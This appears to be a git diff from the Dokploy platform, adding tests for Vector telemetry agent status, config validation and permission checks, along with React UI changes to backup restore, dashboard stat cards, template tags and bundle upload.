for (const mock of Object.values(mocks)) mock.mockReset();
|
||||
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([]);
|
||||
mocks.inspectService.mockResolvedValue({});
|
||||
mocks.getAccessibleServerIds.mockResolvedValue(new Set());
|
||||
mocks.findTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
{ telemetryProviderId: "lp-1", enabled: true, signals: ["logs"] },
|
||||
{ telemetryProviderId: "mp-1", enabled: true, signals: ["metrics"] },
|
||||
{ telemetryProviderId: "mp-off", enabled: false, signals: ["metrics"] },
|
||||
]);
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-1",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
});
|
||||
|
||||
it("requires a running cAdvisor task when the target ships metrics", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-1",
|
||||
telemetryProviderIds: ["mp-1"],
|
||||
});
|
||||
mocks.listTasks.mockImplementation(
|
||||
async ({ filters }: { filters: string }) =>
|
||||
JSON.parse(filters).service[0] === "dokploy-vector"
|
||||
? [{ Status: { State: "running" } }]
|
||||
: [],
|
||||
);
|
||||
|
||||
const [local] = await getVectorAgentTargets(session);
|
||||
expect(local?.status).toBe("not-running");
|
||||
expect(mocks.listTasks).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("reports running when both Vector and cAdvisor have a running task", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-1",
|
||||
telemetryProviderIds: ["mp-1"],
|
||||
});
|
||||
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
|
||||
|
||||
const [local] = await getVectorAgentTargets(session);
|
||||
expect(local?.status).toBe("running");
|
||||
});
|
||||
|
||||
it("does not look at cAdvisor for a logs-only target", async () => {
|
||||
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
|
||||
|
||||
await getVectorAgentTargets(session);
|
||||
expect(mocks.listTasks).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("does not look at cAdvisor when the only metrics provider is disabled", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-1",
|
||||
telemetryProviderIds: ["lp-1", "mp-off"],
|
||||
});
|
||||
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
|
||||
|
||||
const [local] = await getVectorAgentTargets(session);
|
||||
expect(local?.status).toBe("running");
|
||||
expect(mocks.listTasks).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("reports running only when a task of the service is running", async () => {
|
||||
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
|
||||
|
||||
const [local] = await getVectorAgentTargets(session);
|
||||
expect(local?.status).toBe("running");
|
||||
expect(mocks.listTasks).toHaveBeenCalledWith({
|
||||
filters: JSON.stringify({
|
||||
service: ["dokploy-vector"],
|
||||
"desired-state": ["running"],
|
||||
}),
|
||||
});
|
||||
});
|
||||
|
||||
it("reports not-running when the service has no running task", async () => {
|
||||
mocks.listTasks.mockResolvedValue([{ Status: { State: "pending" } }]);
|
||||
|
||||
const [local] = await getVectorAgentTargets(session);
|
||||
expect(local?.status).toBe("not-running");
|
||||
});
|
||||
|
||||
it("reports stopped when the service does not exist", async () => {
|
||||
mocks.inspectService.mockRejectedValue(
|
||||
Object.assign(new Error("not found"), { statusCode: 404 }),
|
||||
);
|
||||
mocks.listTasks.mockResolvedValue([]);
|
||||
|
||||
const [local] = await getVectorAgentTargets(session);
|
||||
expect(local?.status).toBe("stopped");
|
||||
expect(mocks.listTasks).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("reports unknown on any other docker error", async () => {
|
||||
mocks.inspectService.mockRejectedValue(new Error("connect ECONNREFUSED"));
|
||||
|
||||
const [local] = await getVectorAgentTargets(session);
|
||||
expect(local?.status).toBe("unknown");
|
||||
});
|
||||
|
||||
it("reports an empty selection for an unowned local host, even with ids left by a deleted organization", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: null,
|
||||
telemetryProviderIds: ["lp-from-deleted-org", "mp-from-deleted-org"],
|
||||
});
|
||||
mocks.listTasks.mockResolvedValue([]);
|
||||
|
||||
const [local] = await getVectorAgentTargets(session);
|
||||
expect(local).toMatchObject({
|
||||
serverId: null,
|
||||
telemetryProviderIds: [],
|
||||
});
|
||||
});
|
||||
|
||||
it("hides servers the member cannot access", async () => {
|
||||
mocks.listTasks.mockResolvedValue([]);
|
||||
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([
|
||||
{
|
||||
serverId: "server-1",
|
||||
name: "one",
|
||||
ipAddress: "1.1.1.1",
|
||||
telemetryProviderIds: [],
|
||||
},
|
||||
{
|
||||
serverId: "server-2",
|
||||
name: "two",
|
||||
ipAddress: "2.2.2.2",
|
||||
telemetryProviderIds: [],
|
||||
},
|
||||
]);
|
||||
mocks.getAccessibleServerIds.mockResolvedValue(new Set(["server-2"]));
|
||||
|
||||
const targets = await getVectorAgentTargets(session);
|
||||
expect(targets.map((t) => t.serverId)).toEqual([null, "server-2"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("withVectorTargetLock", () => {
|
||||
it("runs operations on the same target one after another", async () => {
|
||||
const events: string[] = [];
|
||||
let releaseFirst = () => {};
|
||||
const first = withVectorTargetLock("server-1", async () => {
|
||||
events.push("first:start");
|
||||
await new Promise<void>((resolve) => {
|
||||
releaseFirst = resolve;
|
||||
});
|
||||
events.push("first:end");
|
||||
throw new Error("first failed");
|
||||
});
|
||||
const second = withVectorTargetLock("server-1", async () => {
|
||||
events.push("second");
|
||||
});
|
||||
const other = withVectorTargetLock("server-2", async () => {
|
||||
events.push("other");
|
||||
});
|
||||
|
||||
await other;
|
||||
expect(events).toEqual(["first:start", "other"]);
|
||||
releaseFirst();
|
||||
await expect(first).rejects.toThrow("first failed");
|
||||
await second;
|
||||
expect(events).toEqual(["first:start", "other", "first:end", "second"]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,197 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdtempSync, writeFileSync } from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import {
|
||||
buildVectorConfigYaml,
|
||||
VECTOR_IMAGE,
|
||||
} from "@dokploy/server/setup/vector-setup";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const dockerAvailable = (() => {
|
||||
try {
|
||||
execFileSync("docker", ["info"], { stdio: "ignore", timeout: 10_000 });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
})();
|
||||
|
||||
const provider = (overrides: Record<string, unknown>) =>
|
||||
({
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
endpoint: null,
|
||||
extraConfig: null,
|
||||
enabled: true,
|
||||
...overrides,
|
||||
}) as any;
|
||||
|
||||
const logsOnly = [
|
||||
provider({
|
||||
telemetryProviderId: "loki1",
|
||||
name: "loki",
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "http://loki.example.com:3100",
|
||||
apiKey: "Pa$5w0rd$HOME",
|
||||
extraConfig: { username: "12345" },
|
||||
}),
|
||||
];
|
||||
|
||||
const metricsOnly = [
|
||||
provider({
|
||||
telemetryProviderId: "prom1",
|
||||
name: "prom",
|
||||
providerType: "prometheus_remote_write",
|
||||
signals: ["metrics"],
|
||||
endpoint: "http://prom.example.com:9090/api/v1/write",
|
||||
apiKey: "token",
|
||||
extraConfig: { tenantId: "team-a" },
|
||||
}),
|
||||
provider({
|
||||
telemetryProviderId: "nr1",
|
||||
name: "new relic",
|
||||
providerType: "new_relic",
|
||||
signals: ["metrics"],
|
||||
apiKey: "license",
|
||||
extraConfig: { accountId: "123", region: "eu" },
|
||||
}),
|
||||
provider({
|
||||
telemetryProviderId: "influx1",
|
||||
name: "influx",
|
||||
providerType: "influxdb",
|
||||
signals: ["metrics"],
|
||||
endpoint: "http://influx.example.com:8086",
|
||||
apiKey: "token",
|
||||
extraConfig: { org: "dokploy", bucket: "metrics" },
|
||||
}),
|
||||
];
|
||||
|
||||
const both = [
|
||||
provider({
|
||||
telemetryProviderId: "dd1",
|
||||
name: "datadog",
|
||||
providerType: "datadog",
|
||||
signals: ["logs", "metrics"],
|
||||
apiKey: "dd-key",
|
||||
}),
|
||||
provider({
|
||||
telemetryProviderId: "cw1",
|
||||
name: "cloudwatch",
|
||||
providerType: "aws_cloudwatch",
|
||||
signals: ["logs", "metrics"],
|
||||
apiKey: "AKIAFAKE",
|
||||
apiSecret: "secret",
|
||||
extraConfig: {
|
||||
region: "us-east-1",
|
||||
logGroup: "/dokploy/logs",
|
||||
metricsNamespace: "Dokploy",
|
||||
},
|
||||
}),
|
||||
provider({
|
||||
telemetryProviderId: "splunk1",
|
||||
name: "splunk",
|
||||
providerType: "splunk_hec",
|
||||
signals: ["logs", "metrics"],
|
||||
endpoint: "https://splunk.example.com:8088",
|
||||
apiKey: "hec",
|
||||
extraConfig: { index: "main", metricsIndex: "dokploy_metrics" },
|
||||
}),
|
||||
provider({
|
||||
telemetryProviderId: "es1",
|
||||
name: "elastic",
|
||||
providerType: "elasticsearch",
|
||||
signals: ["logs", "metrics"],
|
||||
endpoint: "http://es.example.com:9200",
|
||||
apiKey: "pw",
|
||||
extraConfig: { username: "elastic" },
|
||||
}),
|
||||
provider({
|
||||
telemetryProviderId: "bs1",
|
||||
name: "better stack",
|
||||
providerType: "betterstack",
|
||||
signals: ["logs", "metrics"],
|
||||
endpoint: "in.logs.betterstack.com",
|
||||
apiKey: "token",
|
||||
}),
|
||||
];
|
||||
|
||||
const cases: Array<[string, Parameters<typeof buildVectorConfigYaml>[0]]> = [
|
||||
[
|
||||
"local logs only",
|
||||
{
|
||||
logProviders: logsOnly,
|
||||
metricsProviders: [],
|
||||
organizationId: "org_a",
|
||||
serverName: "Dokploy Server (local)",
|
||||
},
|
||||
],
|
||||
[
|
||||
"local metrics only",
|
||||
{
|
||||
logProviders: [],
|
||||
metricsProviders: metricsOnly,
|
||||
organizationId: "org_a",
|
||||
serverName: "Dokploy Server (local)",
|
||||
},
|
||||
],
|
||||
[
|
||||
"local every provider on both signals",
|
||||
{
|
||||
logProviders: [...logsOnly, ...both],
|
||||
metricsProviders: [...metricsOnly, ...both],
|
||||
organizationId: "org_a",
|
||||
serverName: 'Dokploy "Server" $HOSTNAME (local)',
|
||||
},
|
||||
],
|
||||
[
|
||||
"remote metrics only",
|
||||
{ logProviders: [], metricsProviders: metricsOnly, serverName: "edge-1" },
|
||||
],
|
||||
[
|
||||
"remote every provider on both signals",
|
||||
{
|
||||
logProviders: [...logsOnly, ...both],
|
||||
metricsProviders: [...metricsOnly, ...both],
|
||||
serverName: "edge-1",
|
||||
},
|
||||
],
|
||||
];
|
||||
|
||||
describe.skipIf(!dockerAvailable)(
|
||||
"vector validate on generated configs",
|
||||
() => {
|
||||
const dir = mkdtempSync(path.join(os.tmpdir(), "vector-validate-"));
|
||||
|
||||
it.each(cases)(
|
||||
"%s",
|
||||
(name, input) => {
|
||||
const file = path.join(dir, `${name.replace(/\W+/g, "-")}.yaml`);
|
||||
writeFileSync(file, buildVectorConfigYaml(input));
|
||||
const output = execFileSync(
|
||||
"docker",
|
||||
[
|
||||
"run",
|
||||
"--rm",
|
||||
"-v",
|
||||
"/var/run/docker.sock:/var/run/docker.sock:ro",
|
||||
"-v",
|
||||
`${file}:/etc/vector/vector.yaml:ro`,
|
||||
VECTOR_IMAGE,
|
||||
"validate",
|
||||
"--skip-healthchecks",
|
||||
"/etc/vector/vector.yaml",
|
||||
],
|
||||
{
|
||||
encoding: "utf8",
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
timeout: 120_000,
|
||||
},
|
||||
);
|
||||
expect(output).toContain("Validated");
|
||||
},
|
||||
150_000,
|
||||
);
|
||||
},
|
||||
);
|
||||
@@ -0,0 +1,86 @@
|
||||
import type { SQL } from "drizzle-orm";
|
||||
import { PgDialect } from "drizzle-orm/pg-core";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
findFirst: vi.fn(),
|
||||
updates: [] as Array<{ values: Record<string, unknown>; where: unknown }>,
|
||||
returning: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: { webServerSettings: { findFirst: mocks.findFirst } },
|
||||
update: () => ({
|
||||
set: (values: Record<string, unknown>) => ({
|
||||
where: (where: unknown) => {
|
||||
mocks.updates.push({ values, where });
|
||||
return { returning: () => Promise.resolve(mocks.returning()) };
|
||||
},
|
||||
}),
|
||||
}),
|
||||
},
|
||||
}));
|
||||
|
||||
const { releaseWebServerAgent, setWebServerProviderIds } = await import(
|
||||
"@dokploy/server/services/web-server-settings"
|
||||
);
|
||||
|
||||
const render = (value: unknown) => new PgDialect().sqlToQuery(value as SQL).sql;
|
||||
|
||||
beforeEach(() => {
|
||||
mocks.updates = [];
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
id: "ws-1",
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
});
|
||||
mocks.returning.mockReturnValue([{ id: "ws-1" }]);
|
||||
});
|
||||
|
||||
describe("setWebServerProviderIds", () => {
|
||||
it("claims the local agent for the organization when assigning providers", async () => {
|
||||
const row = await setWebServerProviderIds("org-a", ["lp-1", "mp-1"]);
|
||||
|
||||
expect(row).toEqual({ id: "ws-1" });
|
||||
const update = mocks.updates[0];
|
||||
expect(update?.values).toMatchObject({
|
||||
telemetryProviderIds: ["lp-1", "mp-1"],
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
});
|
||||
expect(render(update?.where)).toBe(
|
||||
'("webServerSettings"."id" = $1 and ("webServerSettings"."vectorAgentOrganizationId" is null or "webServerSettings"."vectorAgentOrganizationId" = $2))',
|
||||
);
|
||||
});
|
||||
|
||||
it("releases the owner when the selection is cleared", async () => {
|
||||
await setWebServerProviderIds("org-a", []);
|
||||
|
||||
expect(mocks.updates[0]?.values).toMatchObject({
|
||||
telemetryProviderIds: [],
|
||||
vectorAgentOrganizationId: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("returns null when another organization owns the local agent", async () => {
|
||||
mocks.returning.mockReturnValue([]);
|
||||
|
||||
await expect(
|
||||
setWebServerProviderIds("org-b", ["lp-9"]),
|
||||
).resolves.toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("releaseWebServerAgent", () => {
|
||||
it("clears the selection and the owner only for the owning organization", async () => {
|
||||
await releaseWebServerAgent("org-a");
|
||||
|
||||
const update = mocks.updates[0];
|
||||
expect(update?.values).toMatchObject({
|
||||
telemetryProviderIds: [],
|
||||
vectorAgentOrganizationId: null,
|
||||
});
|
||||
expect(render(update?.where)).toBe(
|
||||
'"webServerSettings"."vectorAgentOrganizationId" = $1',
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -73,6 +73,20 @@ describe("owner and admin bypass enterprise resources", () => {
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("owner bypasses telemetryProvider.read", async () => {
|
||||
memberToReturn = mockMemberData("owner");
|
||||
await expect(
|
||||
checkPermission(ctx, { telemetryProvider: ["read"] }),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("admin bypasses telemetryProvider.create", async () => {
|
||||
memberToReturn = mockMemberData("admin");
|
||||
await expect(
|
||||
checkPermission(ctx, { telemetryProvider: ["create"] }),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("owner bypasses multiple enterprise permissions at once", async () => {
|
||||
memberToReturn = mockMemberData("owner");
|
||||
await expect(
|
||||
@@ -139,6 +153,20 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati
|
||||
checkPermission(ctx, { registry: ["create"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied telemetryProvider.read", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { telemetryProvider: ["read"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied telemetryProvider.create", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { telemetryProvider: ["create"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("static roles validate free-tier resources", () => {
|
||||
|
||||
@@ -18,6 +18,7 @@ const FREE_TIER_RESOURCES = [
|
||||
"gitProviders",
|
||||
"traefikFiles",
|
||||
"api",
|
||||
"telemetryProvider",
|
||||
];
|
||||
|
||||
const ENTERPRISE_RESOURCES = [
|
||||
|
||||
@@ -111,6 +111,7 @@ describe("enterprise resources for static roles", () => {
|
||||
expect(perms.destination.read).toBe(false);
|
||||
expect(perms.notification.read).toBe(false);
|
||||
expect(perms.auditLog.read).toBe(false);
|
||||
expect(perms.telemetryProvider.read).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -25,6 +25,8 @@ const baseSettings: WebServerSettings = {
|
||||
letsEncryptEmail: null,
|
||||
sshPrivateKey: null,
|
||||
enableDockerCleanup: false,
|
||||
telemetryProviderIds: [],
|
||||
vectorAgentOrganizationId: null,
|
||||
buildsConcurrency: 1,
|
||||
logCleanupCron: null,
|
||||
metricsConfig: {
|
||||
@@ -62,6 +64,10 @@ const baseSettings: WebServerSettings = {
|
||||
errorPageDescription: null,
|
||||
ogImageUrl: null,
|
||||
footerText: null,
|
||||
logoLightUrl: null,
|
||||
loginLogoLightUrl: null,
|
||||
faviconLightUrl: null,
|
||||
dualModeBranding: false,
|
||||
},
|
||||
cleanupCacheApplications: false,
|
||||
cleanupCacheOnCompose: false,
|
||||
|
||||
@@ -554,7 +554,10 @@ export const RestoreBackup = ({
|
||||
value={field.value}
|
||||
onValueChange={(value: DatabaseType) => {
|
||||
field.onChange(value);
|
||||
form.setValue("metadata", {});
|
||||
form.setValue("metadata", {
|
||||
serviceName:
|
||||
form.getValues("metadata.serviceName") ?? "",
|
||||
});
|
||||
}}
|
||||
>
|
||||
<SelectTrigger>
|
||||
@@ -581,7 +584,7 @@ export const RestoreBackup = ({
|
||||
<div className="flex gap-2">
|
||||
<Select
|
||||
onValueChange={field.onChange}
|
||||
value={field.value || undefined}
|
||||
value={field.value ?? ""}
|
||||
>
|
||||
<FormControl>
|
||||
<SelectTrigger>
|
||||
|
||||
@@ -45,13 +45,19 @@ function StatCard({
|
||||
label,
|
||||
value,
|
||||
delta,
|
||||
href,
|
||||
}: {
|
||||
label: string;
|
||||
value: string;
|
||||
delta?: string;
|
||||
href?: string;
|
||||
}) {
|
||||
return (
|
||||
<div className="rounded-xl border bg-background p-5 min-h-[140px] flex flex-col justify-between">
|
||||
const content = (
|
||||
<div
|
||||
className={`rounded-xl border bg-background p-5 min-h-[140px] flex flex-col justify-between h-full ${
|
||||
href ? "transition-colors hover:bg-muted/40 cursor-pointer" : ""
|
||||
}`}
|
||||
>
|
||||
<span className="text-xs uppercase tracking-wider text-muted-foreground">
|
||||
{label}
|
||||
</span>
|
||||
@@ -63,6 +69,16 @@ function StatCard({
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
if (href) {
|
||||
return (
|
||||
<Link href={href} className="block h-full">
|
||||
{content}
|
||||
</Link>
|
||||
);
|
||||
}
|
||||
|
||||
return content;
|
||||
}
|
||||
|
||||
function StatusListCard({
|
||||
@@ -182,6 +198,7 @@ export const ShowHome = () => {
|
||||
label="Projects"
|
||||
value={String(totals.projects)}
|
||||
delta={`${totals.environments} ${totals.environments === 1 ? "environment" : "environments"}`}
|
||||
href="/dashboard/projects"
|
||||
/>
|
||||
<StatCard
|
||||
label="Services"
|
||||
|
||||
@@ -186,6 +186,7 @@ export const ImpersonationBar = () => {
|
||||
<Logo
|
||||
className="w-10 h-10"
|
||||
logoUrl={whitelabeling?.logoUrl || undefined}
|
||||
logoLightUrl={whitelabeling?.logoLightUrl || undefined}
|
||||
/>
|
||||
{!isImpersonating ? (
|
||||
<div className="flex items-center gap-2 w-full">
|
||||
|
||||
@@ -435,7 +435,7 @@ export const AddTemplate = ({ environmentId, baseUrl }: Props) => {
|
||||
{viewMode === "detailed" &&
|
||||
template?.tags?.length > 0 && (
|
||||
<div className="flex flex-wrap justify-center gap-1.5">
|
||||
{template?.tags?.map((tag) => (
|
||||
{template.tags.slice(0, 6).map((tag) => (
|
||||
<Badge
|
||||
key={tag}
|
||||
variant="green"
|
||||
@@ -444,6 +444,15 @@ export const AddTemplate = ({ environmentId, baseUrl }: Props) => {
|
||||
{tag}
|
||||
</Badge>
|
||||
))}
|
||||
{template.tags.length > 6 && (
|
||||
<Badge
|
||||
variant="green"
|
||||
className="text-[10px] px-2 py-0"
|
||||
title={template.tags.slice(6).join(", ")}
|
||||
>
|
||||
+{template.tags.length - 6}
|
||||
</Badge>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,210 @@
|
||||
import { Upload } from "lucide-react";
|
||||
import { useRef, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import { Progress } from "@/components/ui/progress";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||
import { api } from "@/utils/api";
|
||||
import {
|
||||
BundleListState,
|
||||
BundleMeta,
|
||||
DestinationSelect,
|
||||
} from "./destination-select";
|
||||
|
||||
const uploadWithProgress = (
|
||||
file: File,
|
||||
serverId: string | undefined,
|
||||
onProgress: (percent: number) => void,
|
||||
): Promise<{ importId: string }> =>
|
||||
new Promise((resolve, reject) => {
|
||||
const formData = new FormData();
|
||||
formData.append("bundle", file);
|
||||
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.upload.addEventListener("progress", (event) => {
|
||||
if (event.lengthComputable) {
|
||||
onProgress(Math.round((event.loaded / event.total) * 100));
|
||||
}
|
||||
});
|
||||
xhr.addEventListener("load", () => {
|
||||
if (xhr.status >= 200 && xhr.status < 300) {
|
||||
try {
|
||||
resolve(JSON.parse(xhr.responseText));
|
||||
} catch {
|
||||
reject(new Error("Invalid response from upload"));
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
const body = JSON.parse(xhr.responseText);
|
||||
reject(new Error(body.message ?? `Upload failed (${xhr.status})`));
|
||||
} catch {
|
||||
reject(new Error(`Upload failed (${xhr.status})`));
|
||||
}
|
||||
}
|
||||
});
|
||||
xhr.addEventListener("error", () => reject(new Error("Upload failed")));
|
||||
xhr.open(
|
||||
"POST",
|
||||
serverId
|
||||
? `/api/project-export-import/upload?serverId=${encodeURIComponent(serverId)}`
|
||||
: "/api/project-export-import/upload",
|
||||
);
|
||||
xhr.send(formData);
|
||||
});
|
||||
|
||||
interface BundleSourceStepProps {
|
||||
onSelected: (importId: string, serverId: string | undefined) => void;
|
||||
initialBundle?: { destinationId: string; key: string };
|
||||
}
|
||||
|
||||
export const BundleSourceStep = ({
|
||||
onSelected,
|
||||
initialBundle,
|
||||
}: BundleSourceStepProps) => {
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
const { data: isCloud } = api.settings.isCloud.useQuery();
|
||||
const { data: servers } = api.server.withSSHKey.useQuery();
|
||||
const [serverId, setServerId] = useState("");
|
||||
const needsServer = isCloud !== false && !serverId;
|
||||
const [uploadProgress, setUploadProgress] = useState(0);
|
||||
const [isUploading, setIsUploading] = useState(false);
|
||||
const [destinationId, setDestinationId] = useState(
|
||||
initialBundle?.destinationId ?? "",
|
||||
);
|
||||
const [selectedKey, setSelectedKey] = useState(initialBundle?.key ?? "");
|
||||
|
||||
const bundlesQuery = api.projectExportImport.listRemoteBundles.useQuery(
|
||||
{ destinationId },
|
||||
{ enabled: !!destinationId },
|
||||
);
|
||||
const { mutateAsync: importFromDestination, isPending: isFetching } =
|
||||
api.projectExportImport.importFromDestination.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
|
||||
const handleFileSelected = async (file: File) => {
|
||||
setIsUploading(true);
|
||||
setUploadProgress(0);
|
||||
try {
|
||||
const result = await uploadWithProgress(
|
||||
file,
|
||||
serverId || undefined,
|
||||
setUploadProgress,
|
||||
);
|
||||
onSelected(result.importId, serverId || undefined);
|
||||
} catch (error) {
|
||||
toast.error(error instanceof Error ? error.message : "Upload failed");
|
||||
} finally {
|
||||
setIsUploading(false);
|
||||
if (fileInputRef.current) fileInputRef.current.value = "";
|
||||
}
|
||||
};
|
||||
|
||||
const handleFromDestination = async () => {
|
||||
try {
|
||||
const result = await importFromDestination({
|
||||
destinationId,
|
||||
key: selectedKey,
|
||||
serverId: serverId || undefined,
|
||||
});
|
||||
onSelected(result.importId, serverId || undefined);
|
||||
} catch {}
|
||||
};
|
||||
|
||||
return (
|
||||
<Tabs defaultValue={initialBundle ? "destination" : "upload"}>
|
||||
<div className="mb-3 grid gap-1">
|
||||
<Label className="text-xs">Server</Label>
|
||||
<Select
|
||||
value={serverId || (isCloud ? "" : "local")}
|
||||
onValueChange={(value) => setServerId(value === "local" ? "" : value)}
|
||||
>
|
||||
<SelectTrigger>
|
||||
<SelectValue placeholder="Server the bundle will be imported to" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{!isCloud && <SelectItem value="local">Local server</SelectItem>}
|
||||
{servers?.map((server) => (
|
||||
<SelectItem key={server.serverId} value={server.serverId}>
|
||||
{server.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
The bundle is unpacked and restored on this server
|
||||
{isCloud ? "; nothing is stored on Dokploy Cloud" : ""}.
|
||||
</p>
|
||||
</div>
|
||||
<TabsList>
|
||||
<TabsTrigger value="upload">Upload a file</TabsTrigger>
|
||||
<TabsTrigger value="destination">From a destination</TabsTrigger>
|
||||
</TabsList>
|
||||
<TabsContent value="upload" className="space-y-4">
|
||||
<div
|
||||
className={`flex flex-col items-center justify-center gap-2 rounded-md border border-dashed p-10 text-center ${needsServer ? "opacity-50" : "cursor-pointer"}`}
|
||||
onClick={() => !needsServer && fileInputRef.current?.click()}
|
||||
>
|
||||
<Upload className="h-8 w-8 text-muted-foreground" />
|
||||
<p className="text-sm text-muted-foreground">
|
||||
Click to select a .dokploy.tar.gz bundle
|
||||
</p>
|
||||
<input
|
||||
ref={fileInputRef}
|
||||
type="file"
|
||||
accept=".gz,.tar.gz"
|
||||
className="hidden"
|
||||
onChange={(e) => {
|
||||
const file = e.target.files?.[0];
|
||||
if (file) void handleFileSelected(file);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
{isUploading && (
|
||||
<div className="space-y-2">
|
||||
<Progress value={uploadProgress} />
|
||||
<p className="text-sm text-muted-foreground">
|
||||
Uploading... {uploadProgress}%
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</TabsContent>
|
||||
<TabsContent value="destination" className="space-y-3">
|
||||
<DestinationSelect value={destinationId} onChange={setDestinationId} />
|
||||
{destinationId && (
|
||||
<div className="max-h-[200px] space-y-1 overflow-y-auto rounded-md border p-2">
|
||||
<BundleListState query={bundlesQuery} />
|
||||
{bundlesQuery.data?.map((bundle) => (
|
||||
<button
|
||||
type="button"
|
||||
key={bundle.key}
|
||||
onClick={() => setSelectedKey(bundle.key)}
|
||||
className={`flex w-full items-center justify-between rounded px-2 py-1 text-left text-xs hover:bg-muted ${selectedKey === bundle.key ? "bg-muted" : ""}`}
|
||||
>
|
||||
<span className="font-mono truncate">
|
||||
{bundle.key.split("/").at(-1)}
|
||||
</span>
|
||||
<BundleMeta size={bundle.size} modTime={bundle.modTime} />
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
<Button
|
||||
isLoading={isFetching}
|
||||
disabled={!destinationId || !selectedKey || needsServer}
|
||||
onClick={handleFromDestination}
|
||||
>
|
||||
Fetch bundle
|
||||
</Button>
|
||||
</TabsContent>
|
||||
</Tabs>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,38 @@
|
||||
import { ChevronDown } from "lucide-react";
|
||||
import { type ReactNode, useState } from "react";
|
||||
import {
|
||||
Collapsible,
|
||||
CollapsibleContent,
|
||||
CollapsibleTrigger,
|
||||
} from "@/components/ui/collapsible";
|
||||
|
||||
interface CollapsibleSectionProps {
|
||||
title: ReactNode;
|
||||
children: ReactNode;
|
||||
className?: string;
|
||||
triggerClassName?: string;
|
||||
contentClassName?: string;
|
||||
}
|
||||
|
||||
export const CollapsibleSection = ({
|
||||
title,
|
||||
children,
|
||||
className,
|
||||
triggerClassName = "flex items-center gap-1 text-sm font-medium",
|
||||
contentClassName = "space-y-2 pt-2",
|
||||
}: CollapsibleSectionProps) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
return (
|
||||
<Collapsible open={open} onOpenChange={setOpen} className={className}>
|
||||
<CollapsibleTrigger className={triggerClassName}>
|
||||
<ChevronDown
|
||||
className={`h-4 w-4 transition-transform ${open ? "rotate-180" : ""}`}
|
||||
/>
|
||||
{title}
|
||||
</CollapsibleTrigger>
|
||||
<CollapsibleContent className={contentClassName}>
|
||||
{children}
|
||||
</CollapsibleContent>
|
||||
</Collapsible>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,95 @@
|
||||
import type { ReactNode } from "react";
|
